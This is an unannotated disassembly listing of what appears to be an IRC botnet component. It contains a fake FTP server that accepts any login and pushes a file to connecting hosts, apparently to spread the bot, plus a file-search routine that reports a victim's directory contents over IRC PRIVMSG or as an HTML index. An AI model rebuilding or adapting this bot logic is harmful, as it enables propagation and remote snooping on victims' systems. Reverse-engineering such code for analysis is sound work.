		xor	ecx, ecx
		test	edx, edx
		jbe	short loc_4043F9


loc_4043EB:				; CODE XREF: sub_404260+197j
		cmp	[ebp+ecx*4+74h+var_224], eax
		jz	short loc_4043F9
		inc	ecx
		cmp	ecx, edx
		jb	short loc_4043EB


loc_4043F9:				; CODE XREF: sub_404260+189j
					; sub_404260+192j
		cmp	ecx, edx
		jnz	short loc_40440F
		cmp	edx, 40h
		jnb	short loc_40440F
		mov	[ebp+ecx*4+74h+var_224], eax
		inc	[ebp+74h+var_228]


loc_40440F:				; CODE XREF: sub_404260+19Bj
					; sub_404260+1A0j
		cmp	eax, [ebp+74h+var_4]
		jle	short loc_404417
		mov	[ebp+74h+var_4], eax


loc_404417:				; CODE XREF: sub_404260+1B2j
		push	0
		push	edi
		push	offset a220Winftpd1_2 ;	"220 WinFtpd 1.2\n"
		push	eax
		call	ebx	; send
		jmp	loc_4047BC
; ---------------------------------------------------------------------------


loc_404427:				; CODE XREF: sub_404260+15Aj
		push	0
		push	64h
		lea	eax, [ebp+74h+var_29C]
		push	eax
		push	esi
		call	dword_4221FC	; recv
		test	eax, eax
		jg	short loc_404485
		mov	ecx, [ebp+74h+var_228]
		xor	eax, eax
		test	ecx, ecx
		jbe	short loc_404479


loc_404449:				; CODE XREF: sub_404260+1F5j
		cmp	[ebp+eax*4+74h+var_224], esi
		jz	short loc_40446E
		inc	eax
		cmp	eax, ecx
		jb	short loc_404449
		jmp	short loc_404479
; ---------------------------------------------------------------------------


loc_404459:				; CODE XREF: sub_404260+211j
		mov	ecx, [ebp+eax*4+74h+var_220]
		mov	[ebp+eax*4+74h+var_224], ecx
		mov	ecx, [ebp+74h+var_228]
		inc	eax


loc_40446E:				; CODE XREF: sub_404260+1F0j
		dec	ecx
		cmp	eax, ecx
		jb	short loc_404459
		dec	[ebp+74h+var_228]


loc_404479:				; CODE XREF: sub_404260+1E7j
					; sub_404260+1F7j
		push	esi
		call	dword_422218	; closesocket
		jmp	loc_4047BC
; ---------------------------------------------------------------------------


loc_404485:				; CODE XREF: sub_404260+1DBj
		lea	eax, [ebp+74h+var_334]
		push	eax
		lea	eax, [ebp+74h+var_AC]
		push	eax
		lea	eax, [ebp+74h+var_29C]
		push	offset aSS_1	; "%s %s"
		push	eax
		call	sub_416AE4
		add	esp, 10h
		push	5
		pop	edx
		mov	edi, offset aUser_0 ; "USER"
		lea	esi, [ebp+74h+var_AC]
		mov	ecx, edx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_4044C4
		push	eax
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_4047A7
; ---------------------------------------------------------------------------


loc_4044C4:				; CODE XREF: sub_404260+255j
		mov	edi, offset aPass ; "PASS"
		lea	esi, [ebp+74h+var_AC]
		mov	ecx, edx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_4044E1
		push	eax
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_4047A7
; ---------------------------------------------------------------------------


loc_4044E1:				; CODE XREF: sub_404260+272j
		mov	edi, offset aSyst ; "SYST"
		lea	esi, [ebp+74h+var_AC]
		mov	ecx, edx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_4044FE
		push	eax
		push	0Dh
		push	offset a215Stnyftpd ; "215 StnyFtpd\n"
		jmp	loc_4047A7
; ---------------------------------------------------------------------------


loc_4044FE:				; CODE XREF: sub_404260+28Fj
		mov	edi, offset aRest ; "REST"
		lea	esi, [ebp+74h+var_AC]
		mov	ecx, edx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_40451B
		push	eax
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_4047A7
; ---------------------------------------------------------------------------


loc_40451B:				; CODE XREF: sub_404260+2ACj
		push	4
		mov	edi, offset off_4231E0
		lea	esi, [ebp+74h+var_AC]
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_404539
		push	eax
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_4047A7
; ---------------------------------------------------------------------------


loc_404539:				; CODE XREF: sub_404260+2CAj
		mov	eax, offset aType ; "TYPE"
		mov	ecx, edx
		mov	edi, eax
		lea	esi, [ebp+74h+var_AC]
		xor	edx, edx
		repe cmpsb
		jnz	short loc_40456C
		push	2
		mov	edi, offset aA_0 ; "A"
		lea	esi, [ebp+74h+var_334]
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_40456C
		push	edx
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_4047A7
; ---------------------------------------------------------------------------


loc_40456C:				; CODE XREF: sub_404260+2E9j
					; sub_404260+2FDj
		mov	edi, eax
		push	5
		pop	eax
		lea	esi, [ebp+74h+var_AC]
		mov	ecx, eax
		xor	edx, edx
		repe cmpsb
		jnz	short loc_40459D
		push	2
		mov	edi, offset aI	; "I"
		lea	esi, [ebp+74h+var_334]
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_40459D
		push	edx
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_4047A7
; ---------------------------------------------------------------------------


loc_40459D:				; CODE XREF: sub_404260+31Aj
					; sub_404260+32Ej
		mov	edi, offset aPasv ; "PASV"
		lea	esi, [ebp+74h+var_AC]
		mov	ecx, eax
		xor	edx, edx
		repe cmpsb
		jnz	short loc_4045DC
		push	0Ah
		pop	ecx
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		lea	edi, [ebp+74h+var_124]
		rep movsd
		lea	eax, [ebp+74h+var_124]
		movsw
		lea	edx, [eax+1]


loc_4045C8:				; CODE XREF: sub_404260+36Dj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4045C8
		sub	eax, edx
		push	0
		push	eax
		lea	eax, [ebp+74h+var_124]
		jmp	short loc_404610
; ---------------------------------------------------------------------------


loc_4045DC:				; CODE XREF: sub_404260+34Bj
		mov	edi, offset aList ; "LIST"
		lea	esi, [ebp+74h+var_AC]
		mov	ecx, eax
		xor	edx, edx
		repe cmpsb
		mov	ecx, eax
		jnz	short loc_404616
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		lea	edi, [ebp+74h+var_C4]
		rep movsd
		movsw
		lea	eax, [ebp+74h+var_C4]
		movsb
		lea	edx, [eax+1]


loc_404601:				; CODE XREF: sub_404260+3A6j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_404601
		sub	eax, edx
		push	0
		push	eax
		lea	eax, [ebp+74h+var_C4]


loc_404610:				; CODE XREF: sub_404260+37Aj
		push	eax
		jmp	loc_4047A7
; ---------------------------------------------------------------------------


loc_404616:				; CODE XREF: sub_404260+38Cj
		mov	edi, offset aPort ; "PORT"
		lea	esi, [ebp+74h+var_AC]
		xor	edx, edx
		repe cmpsb
		jnz	loc_4046DA
		lea	eax, [ebp+74h+var_2D0]
		push	eax
		lea	eax, [ebp+74h+var_F8]
		push	eax
		lea	eax, [ebp+74h+var_28]
		push	eax
		lea	eax, [ebp+74h+var_20]
		push	eax
		lea	eax, [ebp+74h+var_14]
		push	eax
		lea	eax, [ebp+74h+var_C]
		push	eax
		lea	eax, [ebp+74h+var_29C]
		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_416AE4
		lea	eax, [ebp+74h+var_F8]
		push	eax
		call	sub_416C92
		mov	esi, eax
		lea	eax, [ebp+74h+var_2D0]
		push	eax
		call	sub_416C92
		push	0Ch
		mov	edx, eax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+74h+var_F8]
		rep stosd
		push	edx
		push	esi
		stosw
		lea	eax, [ebp+74h+var_F8]
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_416905
		push	10h
		lea	eax, [ebp+74h+var_F8]
		push	0
		push	eax
		call	sub_417729
		mov	[ebp+74h+var_10], eax
		add	esp, 44h
		lea	eax, [ebp+74h+var_28]
		push	eax
		lea	eax, [ebp+74h+var_20]
		push	eax
		lea	eax, [ebp+74h+var_14]
		push	eax
		lea	eax, [ebp+74h+var_C]
		push	eax
		lea	eax, [ebp+74h+var_48]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_416905
		add	esp, 18h
		push	0
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		jmp	loc_4047A7
; ---------------------------------------------------------------------------


loc_4046DA:				; CODE XREF: sub_404260+3C2j
		mov	edi, offset aRetr ; "RETR"
		lea	esi, [ebp+74h+var_AC]
		mov	ecx, eax
		xor	edx, edx
		repe cmpsb
		jnz	loc_40478F
		push	edx
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	[ebp+74h+arg_0]
		call	ebx	; send
		push	[ebp+74h+var_10]
		lea	eax, [ebp+74h+var_48]
		push	eax
		call	sub_404151
		cmp	eax, 1
		pop	ecx
		pop	ecx
		jnz	short loc_404784
		call	sub_4041CE
		cmp	eax, 1
		jnz	loc_4047AC
		xor	esi, esi
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	[ebp+74h+arg_0]
		call	ebx	; send
		lea	eax, [ebp+74h+var_6D8]
		push	eax
		lea	eax, [ebp+74h+var_48]
		push	eax
		lea	eax, [ebp+74h+var_8DC]
		push	offset aFtpFileTransfe ; "[FTP]: File transfer complete	to IP: %s"...
		push	eax
		call	sub_416905
		add	esp, 10h
		cmp	[ebp+74h+var_440], esi
		jnz	short loc_404775
		push	esi
		push	[ebp+74h+var_444]
		lea	eax, [ebp+74h+var_8DC]
		push	eax
		lea	eax, [ebp+74h+var_4C4]
		push	eax
		push	[ebp+74h+var_6DC]
		call	sub_405D20
		add	esp, 14h


loc_404775:				; CODE XREF: sub_404260+4F0j
		lea	eax, [ebp+74h+var_8DC]
		push	eax
		call	sub_401ECD
		pop	ecx
		jmp	short loc_4047AC
; ---------------------------------------------------------------------------


loc_404784:				; CODE XREF: sub_404260+4ACj
		push	0
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_4047A7
; ---------------------------------------------------------------------------


loc_40478F:				; CODE XREF: sub_404260+488j
		mov	ecx, eax
		mov	edi, offset aQuit ; "QUIT"
		lea	esi, [ebp+74h+var_AC]
		xor	eax, eax
		repe cmpsb
		jnz	short loc_4047AC
		push	eax
		push	0Dh
		push	offset a221Goodbye_ ; "221 Goodbye.\n"


loc_4047A7:				; CODE XREF: sub_404260+25Fj
					; sub_404260+27Cj ...
		push	[ebp+74h+arg_0]
		call	ebx	; send


loc_4047AC:				; CODE XREF: sub_404260+4B6j
					; sub_404260+522j ...
		mov	esi, [ebp+74h+arg_0]
		push	19h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+74h+var_29C]
		rep stosd


loc_4047BC:				; CODE XREF: sub_404260+151j
					; sub_404260+179j ...
		inc	esi
		cmp	esi, [ebp+74h+var_4]
		mov	[ebp+74h+arg_0], esi
		jle	loc_40438D


loc_4047C9:				; CODE XREF: sub_404260+127j
		push	41h
		pop	ecx
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+74h+var_438]
		push	eax
		mov	eax, [ebp+74h+var_4]
		inc	eax
		lea	esi, [ebp+74h+var_228]
		lea	edi, [ebp+74h+var_438]
		push	eax
		rep movsd
		call	dword_4221F0	; select
		cmp	eax, 0FFFFFFFFh
		jnz	loc_40437F


loc_4047FA:				; CODE XREF: sub_404260+C9j
					; sub_404260+113j
		pop	edi
		xor	eax, eax
		pop	esi
		inc	eax
		pop	ebx
		add	ebp, 74h
		leave
		retn	4
sub_404260	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404807	proc near		; CODE XREF: sub_405121+149p
					; sub_409806+3F3Cp

var_598		= byte ptr -598h
var_494		= byte ptr -494h
var_38C		= dword	ptr -38Ch
var_378		= byte ptr -378h
var_36C		= dword	ptr -36Ch
var_360		= byte ptr -360h
var_24C		= byte ptr -24Ch
var_4C		= byte ptr -4Ch
var_24		= byte ptr -24h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_16		= word ptr -16h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 598h
		push	ebx
		push	esi
		push	edi
		push	41h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_598]
		rep stosd
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		push	offset asc_4236F8 ; "\n"
		push	edi
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_417779
		cmp	[ebp+arg_8], ebx
		pop	ecx
		pop	ecx
		jz	short loc_404860
		push	edi
		push	[ebp+arg_8]
		mov	esi, 200h
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		lea	eax, [ebp+var_24C]
		push	esi
		push	eax
		call	sub_416B5D
		add	esp, 14h
		jmp	loc_40497D
; ---------------------------------------------------------------------------


loc_404860:				; CODE XREF: sub_404807+34j
		cmp	[ebp+arg_C], ebx
		jz	loc_404962
		mov	eax, edi
		lea	ecx, [eax+1]


loc_40486E:				; CODE XREF: sub_404807+6Cj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40486E
		push	edi
		sub	eax, ecx
		and	[eax+edi-1], dl
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		mov	esi, 200h
		lea	eax, [ebp+var_24C]
		push	esi
		push	eax
		call	sub_416B5D
		lea	eax, [ebp+var_24C]
		add	esp, 10h
		lea	ecx, [eax+1]


loc_40489F:				; CODE XREF: sub_404807+9Dj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40489F
		push	ebx
		sub	eax, ecx
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A438	; send
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_24C]
		push	esi
		push	eax
		call	sub_416B5D
		lea	eax, [ebp+var_24C]
		add	esp, 10h
		lea	ecx, [eax+1]


loc_4048D9:				; CODE XREF: sub_404807+D7j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_4048D9
		push	ebx
		sub	eax, ecx
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A438	; send
		mov	eax, edi
		lea	ecx, [eax+1]


loc_4048F9:				; CODE XREF: sub_404807+F7j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_4048F9
		push	3Ch
		push	96h
		push	0E6h
		sub	eax, ecx
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		mov	byte ptr [eax+edi], 2Ah
		lea	eax, [ebp+var_24C]
		push	esi
		push	eax
		call	sub_416B5D
		lea	eax, [ebp+var_24C]
		add	esp, 18h
		lea	ecx, [eax+1]


loc_404930:				; CODE XREF: sub_404807+12Ej
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_404930
		push	ebx
		sub	eax, ecx
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A438	; send
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_24C]
		push	esi
		push	eax
		call	sub_416B5D
		add	esp, 0Ch
		jmp	short loc_40497D
; ---------------------------------------------------------------------------


loc_404962:				; CODE XREF: sub_404807+5Cj
		push	edi
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		mov	esi, 200h
		lea	eax, [ebp+var_24C]
		push	esi
		push	eax
		call	sub_416B5D
		add	esp, 10h


loc_40497D:				; CODE XREF: sub_404807+54j
					; sub_404807+159j
		lea	eax, [ebp+var_24C]
		lea	edx, [eax+1]


loc_404986:				; CODE XREF: sub_404807+184j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_404986
		push	ebx
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A438	; send
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jz	loc_404A30
		lea	edx, [eax+1]


loc_4049AF:				; CODE XREF: sub_404807+1ADj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4049AF
		sub	eax, edx
		cmp	eax, 2
		jbe	short loc_404A30
		mov	eax, [ebp+arg_C]
		lea	edx, [eax+1]


loc_4049C3:				; CODE XREF: sub_404807+1C1j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4049C3
		sub	eax, edx
		add	eax, 0FFFFFFFDh
		cmp	eax, ebx
		jz	short loc_4049DF


loc_4049D3:				; CODE XREF: sub_404807+1D6j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_4049DF
		dec	eax
		jnz	short loc_4049D3


loc_4049DF:				; CODE XREF: sub_404807+1CAj
					; sub_404807+1D3j
		inc	eax
		push	eax
		push	[ebp+arg_C]
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_4169C0
		lea	eax, [ebp+var_598]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_24C]
		push	esi
		push	eax
		call	sub_416B5D
		lea	eax, [ebp+var_24C]
		add	esp, 1Ch
		lea	ecx, [eax+1]


loc_404A15:				; CODE XREF: sub_404807+213j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_404A15
		push	ebx
		sub	eax, ecx
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A438	; send


loc_404A30:				; CODE XREF: sub_404807+19Fj
					; sub_404807+1B4j
		lea	eax, [ebp+var_38C]
		push	eax
		push	edi
		call	dword_422054	; FindFirstFileA
		lea	ecx, [ebp+var_38C]
		push	ecx
		push	eax
		mov	[ebp+var_C], eax
		call	dword_422050	; FindNextFileA
		test	eax, eax
		jz	loc_404E5D
		mov	ebx, 1FFh


loc_404A5C:				; CODE XREF: sub_404807+650j
		cmp	[ebp+var_38C], 0
		jz	loc_404E45
		push	3
		mov	edi, offset a__	; ".."
		lea	esi, [ebp+var_360]
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	loc_404E45
		push	2
		mov	edi, offset a__0 ; "."
		lea	esi, [ebp+var_360]
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	loc_404E45
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_378]
		push	eax
		call	dword_422068	; FileTimeToLocalFileTime
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		call	dword_422064	; FileTimeToSystemTime
		mov	ax, [ebp+var_14]
		cmp	ax, 0Ch
		mov	ecx, offset aPm	; "PM"
		ja	loc_404B5A
		mov	ecx, offset aAm	; "AM"
		movzx	eax, ax


loc_404AD3:				; CODE XREF: sub_404807+359j
		push	ecx
		movzx	ecx, [ebp+var_12]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_1C]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		movzx	eax, [ebp+var_1A]
		push	eax
		lea	eax, [ebp+var_4C]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_416905
		add	esp, 20h
		xor	edi, edi
		test	byte ptr [ebp+var_38C],	10h
		jz	loc_404CA9
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], edi
		jz	short loc_404B65
		lea	eax, [ebp+var_360]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_494]
		push	106h
		push	eax
		call	sub_416B5D
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_494]
		push	eax
		push	[ebp+arg_8]
		lea	eax, [ebp+var_24C]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		push	200h
		push	eax
		call	sub_416B5D
		add	esp, 28h
		jmp	loc_404E11
; ---------------------------------------------------------------------------


loc_404B5A:				; CODE XREF: sub_404807+2BEj
		movzx	eax, ax
		sub	eax, 0Ch
		jmp	loc_404AD3
; ---------------------------------------------------------------------------


loc_404B65:				; CODE XREF: sub_404807+308j
		cmp	[ebp+arg_C], edi
		jz	loc_404C63
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_24C]
		push	ebx
		push	eax
		call	sub_416B5D
		lea	eax, [ebp+var_24C]
		add	esp, 10h
		lea	esi, [eax+1]


loc_404B91:				; CODE XREF: sub_404807+38Fj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_404B91
		push	edi
		sub	eax, esi
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A438	; send
		lea	eax, [ebp+var_360]
		push	eax
		push	[ebp+arg_C]
		lea	eax, [ebp+var_24C]
		push	offset aSS_2	; "%s%s/"
		push	ebx
		push	eax
		call	sub_416B5D
		lea	eax, [ebp+var_24C]
		add	esp, 14h
		lea	esi, [eax+1]


loc_404BD4:				; CODE XREF: sub_404807+3D2j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_404BD4
		push	edi
		sub	eax, esi
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A438	; send
		lea	eax, [ebp+var_360]
		lea	esi, [eax+1]


loc_404BF8:				; CODE XREF: sub_404807+3F6j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_404BF8
		sub	eax, esi
		cmp	eax, 1Eh
		lea	eax, [ebp+var_360]
		push	eax
		lea	eax, [ebp+var_24C]
		jbe	short loc_404C1A
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_404C1F
; ---------------------------------------------------------------------------


loc_404C1A:				; CODE XREF: sub_404807+40Aj
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_404C1F:				; CODE XREF: sub_404807+411j
		push	ebx
		push	eax
		call	sub_416B5D
		lea	eax, [ebp+var_24C]
		add	esp, 10h
		lea	edx, [eax+1]


loc_404C32:				; CODE XREF: sub_404807+430j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_404C32
		push	edi
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A438	; send
		push	3Ch
		lea	eax, [ebp+var_4C]
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	ebx
		jmp	loc_404E02
; ---------------------------------------------------------------------------


loc_404C63:				; CODE XREF: sub_404807+361j
		lea	eax, [ebp+var_360]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_494]
		push	106h
		push	eax
		call	sub_416B5D
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_494]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"


loc_404C90:				; CODE XREF: sub_404807+4CAj
		lea	eax, [ebp+var_24C]
		push	200h
		push	eax
		call	sub_416B5D
		add	esp, 24h
		jmp	loc_404E11
; ---------------------------------------------------------------------------


loc_404CA9:				; CODE XREF: sub_404807+2FCj
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], edi
		jz	short loc_404CD3
		push	edi
		push	[ebp+var_36C]
		call	sub_403162
		push	eax
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		jmp	short loc_404C90
; ---------------------------------------------------------------------------


loc_404CD3:				; CODE XREF: sub_404807+4A8j
		cmp	[ebp+arg_C], edi
		jz	loc_404DE7
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_24C]
		push	ebx
		push	eax
		call	sub_416B5D
		lea	eax, [ebp+var_24C]
		add	esp, 10h
		lea	esi, [eax+1]


loc_404CFF:				; CODE XREF: sub_404807+4FDj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_404CFF
		push	edi
		sub	eax, esi
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A438	; send
		lea	eax, [ebp+var_360]
		push	eax
		push	[ebp+arg_C]
		lea	eax, [ebp+var_24C]
		push	offset aSS	; "%s%s"
		push	ebx
		push	eax
		call	sub_416B5D
		lea	eax, [ebp+var_24C]
		add	esp, 14h
		lea	esi, [eax+1]


loc_404D42:				; CODE XREF: sub_404807+540j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_404D42
		push	edi
		sub	eax, esi
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A438	; send
		lea	eax, [ebp+var_360]
		lea	esi, [eax+1]


loc_404D66:				; CODE XREF: sub_404807+564j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_404D66
		sub	eax, esi
		cmp	eax, 1Fh
		lea	eax, [ebp+var_360]
		push	eax
		lea	eax, [ebp+var_24C]
		jbe	short loc_404D88
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_404D8D
; ---------------------------------------------------------------------------


loc_404D88:				; CODE XREF: sub_404807+578j
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_404D8D:				; CODE XREF: sub_404807+57Fj
		push	ebx
		push	eax
		call	sub_416B5D
		lea	eax, [ebp+var_24C]
		add	esp, 10h
		lea	edx, [eax+1]


loc_404DA0:				; CODE XREF: sub_404807+59Ej
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_404DA0
		push	edi
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A438	; send
		mov	eax, [ebp+var_36C]
		shr	eax, 0Ah
		push	eax
		push	3Ch
		lea	eax, [ebp+var_4C]
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		lea	eax, [ebp+var_24C]
		push	ebx
		push	eax
		call	sub_416B5D
		add	esp, 1Ch
		jmp	short loc_404E11
; ---------------------------------------------------------------------------


loc_404DE7:				; CODE XREF: sub_404807+4CFj
		push	[ebp+var_36C]
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"
		push	200h


loc_404E02:				; CODE XREF: sub_404807+457j
		lea	eax, [ebp+var_24C]
		push	eax
		call	sub_416B5D
		add	esp, 18h


loc_404E11:				; CODE XREF: sub_404807+34Ej
					; sub_404807+49Dj ...
		lea	eax, [ebp+var_24C]
		lea	edx, [eax+1]


loc_404E1A:				; CODE XREF: sub_404807+618j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_404E1A
		push	edi
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A438	; send
		cmp	[ebp+arg_8], edi
		jz	short loc_404E45
		push	0FAh
		call	dword_422000	; Sleep


loc_404E45:				; CODE XREF: sub_404807+25Cj
					; sub_404807+274j ...
		lea	eax, [ebp+var_38C]
		push	eax
		push	[ebp+var_C]
		call	dword_422050	; FindNextFileA
		test	eax, eax
		jnz	loc_404A5C


loc_404E5D:				; CODE XREF: sub_404807+24Aj
		push	[ebp+var_C]
		call	dword_42204C	; FindClose
		xor	esi, esi
		cmp	[ebp+arg_8], esi
		jz	short loc_404EA2
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_403162
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_403162
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+arg_8]
		lea	eax, [ebp+var_24C]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_416905
		add	esp, 14h
		jmp	short loc_404ED0
; ---------------------------------------------------------------------------


loc_404EA2:				; CODE XREF: sub_404807+664j
		cmp	[ebp+arg_C], esi
		lea	eax, [ebp+var_24C]
		jz	short loc_404EBC
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_416905
		pop	ecx
		pop	ecx
		jmp	short loc_404ED0
; ---------------------------------------------------------------------------


loc_404EBC:				; CODE XREF: sub_404807+6A4j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_416905
		add	esp, 10h


